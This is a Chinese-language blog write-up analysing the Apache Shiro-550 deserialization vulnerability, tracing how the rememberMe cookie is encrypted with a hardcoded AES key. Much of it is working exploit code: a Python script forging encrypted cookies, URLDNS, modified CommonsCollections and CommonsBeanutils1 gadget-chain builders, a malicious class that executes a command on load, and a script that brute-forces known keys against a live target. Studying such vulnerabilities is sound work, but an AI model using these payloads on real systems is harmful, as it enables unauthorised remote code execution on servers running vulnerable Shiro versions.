0x01 前言 shiro550 的根本原因:固定 key 加密
老漏洞了,不过之前写的不知道让我丢哪里去了,只剩下复现在,上一篇文章有简单复现,但是那个跟技术就不沾边了,重新写一下漏洞的分析而且现在CommonsCollections链也已经出到这么多了
任何反序列化漏洞还是要借助具体案例来进行学习,莫名其妙就写了7k多
0x02 环境 用的环境是下面的,jdk和tomcat不同版本我没有试过
环境就不能用docker了,jdk8u65 和 tomcat8 的配置,一步步安装即可,根据自己的pc下载
测试一下tomcat
IDEA 打开这个项目,去到 Settings 界面 代码直接用p牛的即可,IDEA打开这个项目然后进行下面的配置
如图配置,在 Add 的时候选择 Tomcat Server 这一选项。
配置 Edit Configurations p牛都弄好了,配置一下即可
运行爆红不需要管,IEDA会直接弹到我们的页面
0x03 分析 漏洞原理
勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell。
Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码 在代码里(Shiro-550),Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。
漏洞角度分析 Cookie 直接从cookie出发即可,cookie是经过某种加密并且知晓 Shiro 的加密过程之后,可以人为构造恶意的 Cookie 参数,从而实现命令执行的目的
要找 Cookie 的加密过程,直接在 IDEA 里面全局搜索 Cookie,去找 Shiro 包里的类。
定位到CookieRememberMeManager这个处理类,看一下各个方法实现的目的,最终找到了getRememberedSerializedIdentity这个方法,所实现目的如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 protected byte [] getRememberedSerializedIdentity (SubjectContext subjectContext) { if (!WebUtils.isHttp (subjectContext)) { if (log .isDebugEnabled ()) { String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation." ; log .debug (msg); } return null ; } else { WebSubjectContext wsc = (WebSubjectContext)subjectContext; if (this .isIdentityRemoved (wsc)) { return null ; } else { HttpServletRequest request = WebUtils.getHttpRequest (wsc); HttpServletResponse response = WebUtils.getHttpResponse (wsc); String base64 = this .getCookie ().readValue (request, response); if ("deleteMe" .equals (base64)) { return null ; } else if (base64 != null ) { base64 = this .ensurePadding (base64); if (log .isTraceEnabled ()) { log .trace ("Acquired Base64 encoded identity [" + base64 + "]" ); } byte [] decoded = Base64.decode (base64); if (log .isTraceEnabled ()) { log .trace ("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0 ) + " bytes." ); } return decoded; } else { return null ; } } } }
1 2 3 4 5 6 7 这段代码的功能是从Web请求中获取记住我的身份信息: 首先检查SubjectContext是否为HTTP类型,如果不是则直接返回null 检查身份是否已被移除,如果是则返回null 从Cookie中读取Base64编码的身份信息 如果读取到"deleteMe" 标识则返回null 对读取的Base64字符串进行填充处理并解码 返回解码后的字节数组身份信息
先判断是否为 HTTP 请求,如果是的话,获取 cookie 中 rememberMe 的值,然后判断是否是 deleteMe,不是则判断是否是符合 base64 的编码长度,然后再对其进行 base64 解码,将解码结果返回。
逆向跟进一下,看一下哪里调用了这个方法,定位到 AbstractRememberMeManager 这个接口的 getRememberedPrincipals() 方法,
1 2 3 4 5 6 获取序列化的身份数据 调用 getRememberedSerializedIdentity (subjectContext ) 方法,该方法会从HTTP 请求的Cookie 中读取之前存储的Base64 编码的身份信息,如果没有找到相关Cookie 或Cookie 已被标记为删除,则返回null 检查获取结果 判断 bytes 是否为null ,如果为null ,说明没有有效的记住我信息,直接返回null 转换字节数据为身份集合 调用 convertBytesToPrincipals (bytes ) 方法
跟进这个convertBytesToPrincipals方法
1 2 3 4 5 6 7 protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { if (this .getCipherService() != null ) { bytes = this .decrypt(bytes); } return this .deserialize(bytes); }
这个方法将之前的 bytes 数组转换成了认证信息,在 convertBytesToPrincipals() 这个方法当中,很明确地做了两件事,一件是 decrypt 的解密,另一件是 deserialize 的反序列化。
解密过程之 decrypt() 方法 跟进解密的decrypt方法
1 2 3 4 5 6 7 8 9 10 protected byte[] decrypt(byte[] encrypted ) { byte[] serialized = encrypted ; CipherService cipherService = this.getCipherService();// 获取一个加密服务也就是实现 AOP 的实现类 if (cipherService != null ) { ByteSource byteSource = cipherService.decrypt(encrypted , this.getDecryptionCipherKey());// 关键代码,如果加密服务存在,则调用 cipherService 的 decrypt 方法进行解密,参数包括:encrypted : 待解密的数据getDecryptKey(): 通过 getDecryptKey() 方法获取的解密密钥key,重点关注一下key serialized = byteSource.getBytes(); } return serialized; }
跟进getDecryptionCipherKey这个方法看一下,一个 btye[] 的方法,返回了 decryptionCipherKey。
跟进 decryptionCipherKey 之后,查看谁调用了它,发现是 setDecryptionCipherKey() 方法,继续跟进这个方法,查看一下哪里调用了 setDecryptionCipherKey() 方法
设置加密和解密使用的密钥。该方法接收一个字节数组类型的密钥参数,然后分别调用setEncryptionCipherKey()和setDecryptionCipherKey()方法,将同一个密钥同时设置为加密密钥和解密密钥。那么看一下是在哪里调用了setCipherKey并传入的参数
非常显而易见的,传入的参数为 DEFAULT_CIPHER_KEY_BYTES,并且是一个固定的值,流程为
解密过程之 deserialize 反序列化 回到之前跟进到convertBytesToPrincipals方法时,跟进deserialize方法
跟进一下,有两个实现方法
1 2 3 4 5 6 这段代码实现了一个反序列化方法,功能如下: 参数校验:检查输入的字节数组是否为null ,如果是则抛出IllegalArgumentException异常 流包装:将字节数组包装成ByteArrayInputStream,再用BufferedInputStream进行缓冲包装 反序列化:使用自定义的ClassResolvingObjectInputStream读取对象,将其转换为泛型T类型 异常处理:如果反序列化过程中出现任何异常,统一抛出SerializationException 资源清理:正常情况下关闭ObjectInputStream流并返回反序列化结果
deserialize() 方法调用了原生的 readObject(),所以这里反序列化的地方是一个很好的入口类,可以作为我们反序列化的入口
至此,Shiro 拿到 HTTP 包里的 Cookie 的解密过程已经梳理地很清楚了,我们再回头看一看那一段 Cookie 是如何产生的,也就是加密过程。
加密过程
定位到AbstractRememberMeManager 接口的 onSuccessfulLogin 方法处,并在这里打个断点,这是判断是Shiro框架中处理用户登录成功后的行为的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) { this .forgetIdentity(subject); if (this .isRememberMe(token)) { this .rememberIdentity(subject, token, info); } else if (log.isDebugEnabled()) { log.debug("AuthenticationToken did not indicate RememberMe is requested. RememberMe functionality will not be executed for corresponding account." ); } }
这个判断这里,简单判断 RememberMe 字段是否为 true,再调用了 rememberIdentity() 方法,F7 进入 rememberIdentity() 方法,这里一串调用,保存用户名。
回到 rememberIdentity() 方法,跟进this.rememberIdentity(subject, principals)
进入 convertPrincipalsToBytes() 方法,里面和我们之前看的解密里面的 convertBytesToPrincipals() 非常相似,不过将解密变成了加密,将反序列化改成了序列化。
继续跟进到serialize方法,看一眼实现的代码,和之前一样反序列化找的过程一致,序列化最后如图
再回到convertPrincipalsToBytes方法中看一下 encrypt 加密的那一段
1 2 3 4 5 6 这段代码实现了一个加密方法,功能如下: 接收序列化后的字节数组作为输入 获取加密服务实例 如果加密服务存在,则使用该服务和加密密钥对数据进行加密 返回加密后的字节数组 核心逻辑是:有加密服务就加密,没有就直接返回原数据
可以看到这里传入的两个参数,调用encrypt进行加密
1 ByteSource byteSource = cipherService.encrypt(serialized, this .getEncryptionCipherKey());
1 2 3 4 这段代码实现了一个加密方法,也就是AES对称加密,主要功能如下: 初始化向量处理:根据配置决定是否生成初始化向量(IV) IV生成验证:如果启用IV生成,则调用generateInitializationVector方法生成IV,并验证生成的IV不为空 执行加密:调用重载的encrypt 方法执行实际的加密操作,传入明文、密钥、IV和生成标志
一个参数是需要加密的字段,一个即为key,那么我们回到上面跟进getEncryptionCipherKey这个方法看一下key的获取方式,其实这里就跟上面解密的步骤一样了,代码也是完全一样的,只不过顺序颠倒了一下
1 2 3 4 getDecryptionCipherKey () - 获取解密密钥setDecryptionCipherKey () - 设置解密密钥getCipherKey () - 获取加密密钥(通过调用getEncryptionCipherKey)setCipherKey () - 设置加密密钥
依旧去找哪里调用了setCipherKey方法,很显然跟解密的过程是一样的
最重点的就是使用默认key,给了我们根据默认key进行反序列化打进去的机会
跳出这个地方回到 rememberIdentity() 方法,看一下从convertPrincipalsToBytes之后后续的处理
通过 AES 加密之后的 Cookie,拿去 Base64 编码,那么也就是我们前面数据包里看到的cookie了
0x04 Shiro-550 漏洞利用 看一下依赖,很明显该从哪里入手了,CC链和CB链都可以合理尝试一下(这里shiro是用不到CommonsCollections依赖的,是我们后续手动加的,原生依赖只有CommonsBeanutils)
漏洞利用思路 很简单的,就是将反序列化的东西,进行 shiro 的一系列加密操作,再把最后的那串东西替换包中的 RememberMe 字段的值。加密脚本如下,逻辑就是跟上面分析的过程一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from email.mime import basefrom pydoc import plainimport sysimport base64import uuidfrom random import Randomfrom Crypto.Cipher import AESdef get_file_data (filename ): with open (filename, 'rb' ) as f: data = f.read() return datadef aes_enc (data ): BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertextdef aes_dec (enc_data ): enc_data = base64.b64decode(enc_data) unpad = lambda s: s[:-s[-1 ]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16 ] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16 :]) plaintext = unpad(plaintext) return plaintextif __name__ == "__main__" : data = get_file_data("ser.bin" ) print (aes_enc(data))
get_file_data(filename):从文件中读取二进制数据
aes_enc(data):使用AES-CBC模式加密数据
aes_dec(enc_data):解密AES加密的数据
从加密数据中提取IV(前16字节)
使用相同的密钥解密
移除填充并返回原始数据
主函数从”ser.bin”文件读取序列化的Java对象数据,加密后打印结果
该脚本可以将恶意的序列化Java对象加密成符合Shiro格式的rememberMe cookie值,用于漏洞利用。
URLDNS 链 构造 Payload 需要将利用链通过 AES 加密后在 Base64 编码。将 Payload 的值设置为 rememberMe 的 cookie 值,这里借助 ysoserial 中的 URLDNS 链去打,由于 URLDNS 不依赖于 Commons Collections 包,所以也是最简单的利用方式,只需要 JDK 的包就行,所以一般用于检测是否存在漏洞。
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class URLDNSEXP { public static void main (String[] args) throws Exception{ HashMap<URL,Integer> hashmap= new HashMap <URL,Integer>(); URL url = new URL ("http://ano5x1.dnslog.cn" ); Class c = url.getClass(); Field hashcodefile = c.getDeclaredField("hashCode" ); hashcodefile.setAccessible(true ); hashcodefile.set(url,1234 ); hashmap.put(url,1 ); hashcodefile.set(url,-1 ); serialize(hashmap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
对象构造陷阱
创建 URL对象指向监控域名(如 oastify.com)
通过反射强制修改其 hashCode为 1234(避免创建时立即触发DNS解析 )
序列化准备
将修改后的 URL存入 HashMap
再次通过反射将 URL.hashCode重置为 -1(关键操作❗️)
序列化 HashMap到文件 ser.bin
漏洞触发机制
执行exp生成ser.bin文件
1 2 javac URLDNSEXP.java java URLDNSEXP
然后将ser.bin文件拿到encrypt.py中执行AES 加密出来的编码替换包中的 RememberMe Cookie,将 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe,直接使用JSESSIONID做身份验证处理
查看dns监控网址是否收到请求,正常收到数据包发出来的请求,验证成功
CC6链攻击shiro 先说结论,单单用CC6是攻击不了的,具体原因写的比较清楚的可以参考这里CC6 ,简单来说就是有一个数组加载不出来导致无法利用,这里我们也可以简单看一下,就不下断掉跟流程了
异常点在org.apache.shiro.io.ClassResolvingObjectInputStream,可以看到,这是一个 ObjectInputStream 的子类,其重写了 resolveClass 方法:
resolveClass 是反序列化中用来查找类的方法,在读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。
找一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass 方法,对比一下区别
注意到前者用的是ClassUtils.forName,原生用的是Class.forName,那么区别也就是在这里,对比一下两个forName的区别
关于断点跟进可以看刚才CC6那个链接,出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer;。其实就是表示 org.apache.commons.collections.Transformer 的数组。
shiro自己重写的forName如下,看到是loadClass方法
而原生的forName,用的是ClassLoader.getClassLoader
区别就是这两个的区别,你可以说是 Class.forName() 与 ClassLoader.loadClass() 的区别导致 shiro 反序列化时不能加载数组,这个原因不完全准确,较为准确的应该是:
shiro 加载 Class 最终调用的是 Tomcat 下的 webappclassloader,该类会使用 Class.forName() 加载数组类,但是使用的 classloader 是 URLClassLoader,只会加载 tomcat/bin、tomcat/lib、jre/lib/ext 下面的类数组,无法加载三方依赖 jar 包中的数组,也就是loadClass和ClassLoader对数组的处理方式的区别
也就是说,如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误 。因为 CC6 用到了 Transformer 数组,所以加载失败,因此没法正常反序列化。
改造CommonsCollections链攻击shiro
大概思路就是CC6的后半部分的利用链,通过templatesImpl将恶意对象传进来,然后创建一个用来调用 newTransformer 方法的 InvokerTransformer,通过TiedMapEntry对恶意对象调用newTransformer方法执行命令
简单来说就是使用 TemplatesImpl.newTransformer 函数来动态 loadClass 构造好的evil class bytes。目的是为了不存在数组类型的对象而不会报错
CC中最常用的就是经过ConstantTransformer()将Runtime.class执行命令,但是可以看到CC1的利用链中,多层Transformer数组递归调用那么肯定会出现数组,所以这个方法肯定行不通的,需要想别的方法将我们的输入传进去
那么CC6里给我们提供了另一种方法,从 CommonsCollection6 开始,用到了 TiedMapEntry,其作为中继,调用了 LazyMap(map)的 get 函数,那么我们可以利用这里
其中 map 和 key 都可以控制,而 LazyMap.get 调用了 transform 函数,并将可控的 key 传入 transform 函数:
首先还是创建 TemplatesImpl 对象:
1 2 3 4 5 6 7 8 TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name" , "aaa" );byte [] code = Files.readAllBytes(Paths.get ("Evil.class" ));byte [][] codes = {code}; setFieldValue(templates, "_bytecodes" , codes); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl()); setFieldValue(templates, "_auxClasses" , null ); setFieldValue(templates, "_outputProperties" , null );
创建一个用来调用 newTransformer 方法的 InvokerTransformer,但注意的是,此时先传入一个正常的方法,比如 getClass ,避免恶意方法在构造 Gadget 的时候触发:
1 InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class []{}, new Object []{});
再把之前的 CommonsCollections6 的代码复制过来,将原来 TiedMapEntry 构造时的第二个参数 key,改为前面创建的 TemplatesImpl 对象:
1 2 3 4 5 HashMap <Object ,Object > map = new HashMap <>(); Map<Object ,Object > lazyMap = LazyMap.decorate (map , invokerTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (1 );setFieldValue (badAttributeValueExpException, "val" , tiedMapEntry);
完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class shiroexp { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "aaa" ); byte [] code = Files.readAllBytes(Paths.get("Evil.class" )); byte [][] codes = {code}; setFieldValue(templates, "_bytecodes" , codes); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); setFieldValue(templates, "_auxClasses" , null ); setFieldValue(templates, "_outputProperties" , null ); InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" , new Class []{}, new Object []{}); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, invokerTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (1 ); setFieldValue(badAttributeValueExpException, "val" , tiedMapEntry); serialize(badAttributeValueExpException); unserialize("shiro.bin" ); } public static void setFieldValue (Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, fieldValue); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("shiro.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); return ois.readObject(); } }
所用到的恶意Evil.java类代码如下,javac进行编译,注释中的是必须存在的东西否则会失败
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Evil extends AbstractTranslet { public Evil () { super (); executePayload(); } private void executePayload () { try { String[] cmd = { "/usr/bin/osascript" , "-e" , "tell application \"Calculator\" to activate" }; Runtime.getRuntime().exec(cmd); } catch (IOException e) { } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }
执行shiroexp即可,这里需要注意的是包的处理问题,生成了shiro.bin再去跑我们的加密脚本即可得到payload
CommonsBeanutils1 分析利用 因为原生shiro自己是不用到CommonsCollections依赖的,所以上方打CC链都是我们手动添加依赖进去(不过在某些特定情况下也是会存在CommonsCollections),如果是纯原生shiro的话就需要用CommonsBeanutils1来利用
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通 Java 类对象(也称为 JavaBean )的一些操作方法,相当于一个增强功能的依赖包,例如
1 2 3 4 5 6 7 8 9 final public class Person { private String name = "catalina" ; public String getName ( ) { return name; } public void setName (String name ) { this .name = name; } }
commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的 getter 方法,比如刚才的:PropertyUtils.getProperty(person, "name");
此时,commons-beanutils 会自动找到 name 属性的 getter 方法,也就是 getName,然后调用,获得返回值。除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如 a 对象中有属性 b,b 对象中有属性 c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。通过该方法,使用者可以很方便地调用任意对象的 getter,适用于在不确定 JavaBean 是哪个类对象时使用。
那么直接就在这个调用的地方打断点进去找一下可以利用的点,进入之后先是调了getProperty后再次调用了另一个对象的getProperty,继续跟进这个getProperty
然后是这个方法getNestedProperty,进到这个方法看一下,一连串的判断,其实就是如果是Map、Index就进对应的方法,不是就到最后一个getSimpleProperty方法
可以看到从这里开始就已经实现getName方法,将我们传入的name转化为了对应的get方法,这段代码仔细看一下也就是实现了这个效果,那么到此就大概了解了流程
那么既然可以将属性转化为对应的get方法,那么我们就想到了TemplatesImpl类中的getOutputProperties,这里调用了newTransformer().getOutputProperties(),我们知道newTransformer是可以动态加载而实现代码执行,那么就尝试利用这一点
把刚才CommonsCollections的直接拿过来,是没问题的
那么回到第一次调用getProperty的地方,也就是org.apache.commons.beanutils.PropertyUtils#getProperty方法,查找一下这个方法的用法,找一下可能反序列化的地方,定位到org.apache.commons.beanutils.BeanComparator#compare
这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象。如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值。PropertyUtils.getProperty 这个方法会自动去调用一个 JavaBean的getter 方法, 这个点是任意代码执行的关键。
在分析 TemplatesImpl 利用链的文章中指出,TemplatesImpl#getOutputProperties() 方法是调用链上的一环,它的内部调用了 TemplatesImpl#newTransformer() ,也就是后面常用来执行恶意字节码的方法:
这里可以简单说一下为什么org.apache.commons.beanutils.BeanComparator#compare可以利用,CC2利用链中使用的是PriorityQueue优先队列里的跟踪
1 2 3 4 5 java.util .PriorityQueue java.util .PriorityQueue#readObject java.util .PriorityQueue#heapify java.util .PriorityQueue#siftDownUsingComparator java.util .Comparator#compare
那么跟进去TransformingComparator,你会发现compare调用了transformer.transform,那么就类似了,CC2这里能用那么CB这里能用也是一样的效果,也是从优先队列入手
最终利用链为从优先队列PriorityQueue.readObject为入口
1 2 3 4 5 6 PriorityQueue.readObject BeanComparator.compare PropertyUtils.getProperty TemplatesImpl.getOutputProperties TemplatesImpl.newTransformer defineClass.newInstance
完整exp如下,恶意类依旧是上面的evil.class,这条链是不需要CommonsCollections依赖的,我把CommonsCollections依赖全移除掉,这是根据报错CB出现的问题修改后的exp,报错解决办法请看下方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CB1exp { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "Calc" ); byte [] code = Files.readAllBytes(Paths.get("evil.class" )); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); final BeanComparator beanComparator = new BeanComparator ("outputProperties" , new AttrCompare ()); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , beanComparator); setFieldValue(queue, "queue" , new Object []{templates, templates}); setFieldValue(queue, "size" , 2 ); serialize(queue); unserialize("ser.bin" ); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); System.out.println("对象已序列化到 ser.bin 文件" ); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); try { Object result = ois.readObject(); System.out.println("反序列化成功完成" ); return result; } catch (Exception e) { System.out.println("反序列化过程中捕获到异常: " + e.getClass().getName()); System.out.println("这可能是成功执行恶意代码的标志" ); e.printStackTrace(); return null ; } finally { ois.close(); } } }
操作跟上方类似,反序列化后进行加密即可
打CB存在的问题 ysoserial中CC版本问题
网上已经分析的很明白了,我就不多赘述了,commons-beanutils:commons-beanutils版本的问题,shiro是1.8.3,ysoserial是1.9.2,区别就在这里,上面没有问题是因为我是直接用的shiro里的版本一致,所以未出现这个问题,版本用一致即可,因为版本改的代码挺多的
未找到ComparableComparator类 这个错误还是挺有意思的
1 Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]
简单来说就是没找到 org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于 commons-collections。
commons-beanutils 本来依赖于 commons-collections,但是在 Shiro 中,它的 commons-beanutils 虽然包含了一部分 commons-collections 的类,但却不全。这也导致,正常使用 Shiro 的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。
根据报错信息去找CB依赖中调用ComparableComparator类的地方,定位到org.apache.commons.beanutils.BeanComparator#BeanComparator
在 BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator 。
既然此时没有 ComparableComparator ,需要找到一个类来替换,它满足下面这几个条件:
实现 java.util.Comparator 接口
实现 java.io.Serializable 接口 Java、shiro 或 commons-beanutils 自带,且兼容性强
同时满足这两个条件即可,随便找一个能用的就好了,例如com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare或者java.lang.String.CaseInsensitiveComparator均实现了这两个接口,那么改写一下exp即可
1 final BeanComparator beanComparator = new BeanComparator (null , new AttrCompare ());
上图的exp还是存在问题的,在添加元素到 PriorityQueue 时,使用了 AttrCompare 比较器,但它期望比较的是 Attr 类型的对象,而实际添加的是 Integer 类型的对象,导致类型转换异常的错误,这个就很好改了,修改办法参考我上面的exp
0x05 漏洞探测 指纹识别 在利用 shiro 漏洞时需要判断应用是否用到了 shiro。在请求包的 Cookie 中为 rememberMe 字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用 Shiro 框架,可以进一步测试。
AES密钥判断 Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥,之前检测我们公司的时候就发现了这个问题。给了我们可以收集密钥的集合,或者对密钥进行爆破的机会
那么如何判断密钥是否正确呢?文章 一种另类的 shiro 检测方式 提供了思路,当密钥不正确或类型转换异常时,目标 Response 包含 Set-Cookie:rememberMe=deleteMe 字段,而当密钥正确且没有类型转换异常时,返回包不存在 Set-Cookie:rememberMe=deleteMe 字段。
因此我们需要构造 payload 排除类型转换错误,进而准确判断密钥。
shiro 在 1.4.2 版本之前, AES 的模式为 CBC, IV 是随机生成的,并且 IV 并没有真正使用起来,所以整个 AES 加解密过程的 key 就很重要了,正是因为 AES 使用 Key 泄漏导致反序列化的 cookie 可控,从而引发反序列化漏洞。在 1.4.2 版本后,shiro 已经更换加密模式 AES-CBC 为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import base64import uuidimport requestsfrom Crypto.Cipher import AES def encrypt_AES_GCM (msg, secretKey ): aesCipher = AES.new(secretKey, AES.MODE_GCM) ciphertext, authTag = aesCipher.encrypt_and_digest(msg) return (ciphertext, aesCipher.nonce, authTag) def encode_rememberme (target ): keys = ['kPH+bIxk5D2deZiIxcaaaA==' , '4AvVhmFLUs0KTA3Kprsdag==' ,'66v1O8keKNV3TTcGPK1wzg==' , 'SDKOLKn2J1j/2BHjeZwAoQ==' ] BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() mode = AES.MODE_CBC iv = uuid.uuid4().bytes file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==' ) for key in keys: try : encryptor = AES.new(base64.b64decode(key), mode, iv) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body))) res = requests.get(target, cookies={'rememberMe' : base64_ciphertext.decode()},timeout=3 ,verify=False , allow_redirects=False ) if res.headers.get("Set-Cookie" ) == None : print ("正确KEY :" + key) return key else : if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie" ): print ("正确key:" + key) return key encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key)) base64_ciphertext = base64.b64encode(encryptedMsg[1 ] + encryptedMsg[0 ] + encryptedMsg[2 ]) res = requests.get(target, cookies={'rememberMe' : base64_ciphertext.decode()}, timeout=3 , verify=False , allow_redirects=False ) if res.headers.get("Set-Cookie" ) == None : print ("正确KEY:" + key) return key else : if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie" ): print ("正确key:" + key) return key print ("正确key:" + key) return key except Exception as e: print (e)
0x06 参考链接 https://www.geekby.site/2021/10/shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E
